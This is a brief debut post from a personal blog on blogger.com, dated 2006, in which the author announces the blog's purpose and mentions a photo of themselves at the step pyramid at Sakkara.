This currently fulfills my needs. Any new additions/updates will be posted here.

Up and running!

2006-06-26T18:15:00.000-07:00

This is the debut of my blog on blogger.com. I will use this as a forum to post and publish my works and thoughts. Enjoy!

<---btw... Me at the step pyramid at Sakkara